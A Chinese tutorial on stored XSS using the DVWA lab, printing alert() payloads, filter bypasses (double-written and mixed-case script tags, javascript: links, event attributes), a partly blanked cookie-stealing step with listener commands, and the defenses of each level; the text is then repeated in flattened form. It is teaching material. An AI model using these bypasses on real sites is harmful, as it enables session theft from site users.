Web安全中的XSS攻击详细教学(二)--已完结
字数 1234 2025-08-19 12:41:24

XSS攻击详细教学:存储型XSS攻击与防御

存储型XSS概述

存储型XSS(又称持久性XSS)是一种常见的XSS攻击类型,与反射型XSS和DOM型XSS相比具有以下特点:

  1. 持久性:攻击脚本被永久存储在目标服务器上(数据库、内存、文件系统等)
  2. 危害面广:可以让用户机器变成DDoS攻击的肉鸡
  3. 信息窃取:能够盗取用户敏感私密信息

典型攻击场景:攻击者在论坛发帖时将恶意脚本注入帖子内容,服务器存储该帖子后,其他用户浏览时恶意脚本会在其浏览器中执行。

存储型XSS攻击演示(DVWA环境)

LOW级别攻击

  1. 基本注入

    <script>alert()</script>
    

    直接注入成功,服务器未做任何防护。

  2. 窃取Cookie

    <script>document.write('')</script>
    

    攻击者启动HTTP服务监听:

    • Python2: python2 -m SimpleHTTPServer 8899
    • Python3: python3 -m http.server 8899
  3. 源码分析

    • 仅使用trim()去除首尾空格
    • 使用stripslashes()删除反斜杠
    • 使用mysqli_real_escape_string()转义SQL特殊字符
    • 无XSS防护措施

MEDIUM级别攻击

  1. 绕过限制

    • 输入框有长度限制,可通过修改HTML属性绕过
    • 有效payload:
      <a href="javascript:alert()">alert()</a>
      
  2. 源码分析

    • 对message字段:
      • strip_tags()去除HTML/PHP标签
      • addslashes()转义特殊字符
      • htmlspecialchars()转换为HTML实体
    • 对name字段:
      • 仅移除<script>标签
      • 可使用双写或大小写绕过:
        • 双写:<sc<script>ript>alert()<sc<script>ript>
        • 大小写:<sCript>alert()</sCript>

HIGH级别攻击

  1. 绕过技巧

    • 使用单标签+事件属性:
      
      
      <input onchange="alert()">
      
  2. 源码分析

    • 使用preg_replace正则替换:
      preg_replace('/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name)
      
    • 防御较强,但仍可通过非script标签的事件属性绕过

IMPOSSIBLE级别防御

  1. 防御措施

    • 使用CSRF token防止跨站请求伪造
    • 表单防重复提交
    • htmlspecialchars()将所有输出转换为HTML实体
    • 使用PDO预编译语句防止SQL注入
  2. 源码关键点

    checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php');
    $message = htmlspecialchars($message);
    $name = htmlspecialchars($name);
    $data = $db->prepare('INSERT INTO guestbook (comment, name) VALUES (:message, :name)');
    $data->bindParam(':message', $message, PDO::PARAM_STR);
    $data->bindParam(':name', $name, PDO::PARAM_STR);
    

存储型XSS防御方案

  1. 后端防御

    • 入库前对所有前端数据进行转义处理
    • 输出给前端时统一进行转义处理
    • 使用预编译语句防止SQL注入
  2. 前端防御

    • 渲染DOM时不信任任何后端数据
    • 对所有动态内容进行转义处理
    • 使用CSP(Content Security Policy)限制脚本执行
  3. 综合措施

    • 输入验证和过滤
    • 输出编码
    • 使用安全的API
    • 实施CSP策略
    • 定期安全审计

总结

存储型XSS因其持久性和广泛影响成为最危险的XSS类型。防御需要前后端协同,采用"不信任任何输入"的原则,对所有数据进行严格过滤和转义处理。DVWA演示展示了从简单注入到高级绕过的全过程,以及最终级别的全面防御方案。

XSS攻击详细教学:存储型XSS攻击与防御 存储型XSS概述 存储型XSS(又称持久性XSS)是一种常见的XSS攻击类型,与反射型XSS和DOM型XSS相比具有以下特点: 持久性 :攻击脚本被永久存储在目标服务器上(数据库、内存、文件系统等) 危害面广 :可以让用户机器变成DDoS攻击的肉鸡 信息窃取 :能够盗取用户敏感私密信息 典型攻击场景:攻击者在论坛发帖时将恶意脚本注入帖子内容,服务器存储该帖子后,其他用户浏览时恶意脚本会在其浏览器中执行。 存储型XSS攻击演示(DVWA环境) LOW级别攻击 基本注入 : 直接注入成功,服务器未做任何防护。 窃取Cookie : 攻击者启动HTTP服务监听: Python2: python2 -m SimpleHTTPServer 8899 Python3: python3 -m http.server 8899 源码分析 : 仅使用 trim() 去除首尾空格 使用 stripslashes() 删除反斜杠 使用 mysqli_real_escape_string() 转义SQL特殊字符 无XSS防护措施 MEDIUM级别攻击 绕过限制 : 输入框有长度限制,可通过修改HTML属性绕过 有效payload: 源码分析 : 对message字段: strip_tags() 去除HTML/PHP标签 addslashes() 转义特殊字符 htmlspecialchars() 转换为HTML实体 对name字段: 仅移除 <script> 标签 可使用双写或大小写绕过: 双写: <sc<script>ript>alert()<sc<script>ript> 大小写: <sCript>alert()</sCript> HIGH级别攻击 绕过技巧 : 使用单标签+事件属性: 源码分析 : 使用 preg_replace 正则替换: 防御较强,但仍可通过非 script 标签的事件属性绕过 IMPOSSIBLE级别防御 防御措施 : 使用CSRF token防止跨站请求伪造 表单防重复提交 htmlspecialchars() 将所有输出转换为HTML实体 使用PDO预编译语句防止SQL注入 源码关键点 : 存储型XSS防御方案 后端防御 : 入库前对所有前端数据进行转义处理 输出给前端时统一进行转义处理 使用预编译语句防止SQL注入 前端防御 : 渲染DOM时不信任任何后端数据 对所有动态内容进行转义处理 使用CSP(Content Security Policy)限制脚本执行 综合措施 : 输入验证和过滤 输出编码 使用安全的API 实施CSP策略 定期安全审计 总结 存储型XSS因其持久性和广泛影响成为最危险的XSS类型。防御需要前后端协同,采用"不信任任何输入"的原则,对所有数据进行严格过滤和转义处理。DVWA演示展示了从简单注入到高级绕过的全过程,以及最终级别的全面防御方案。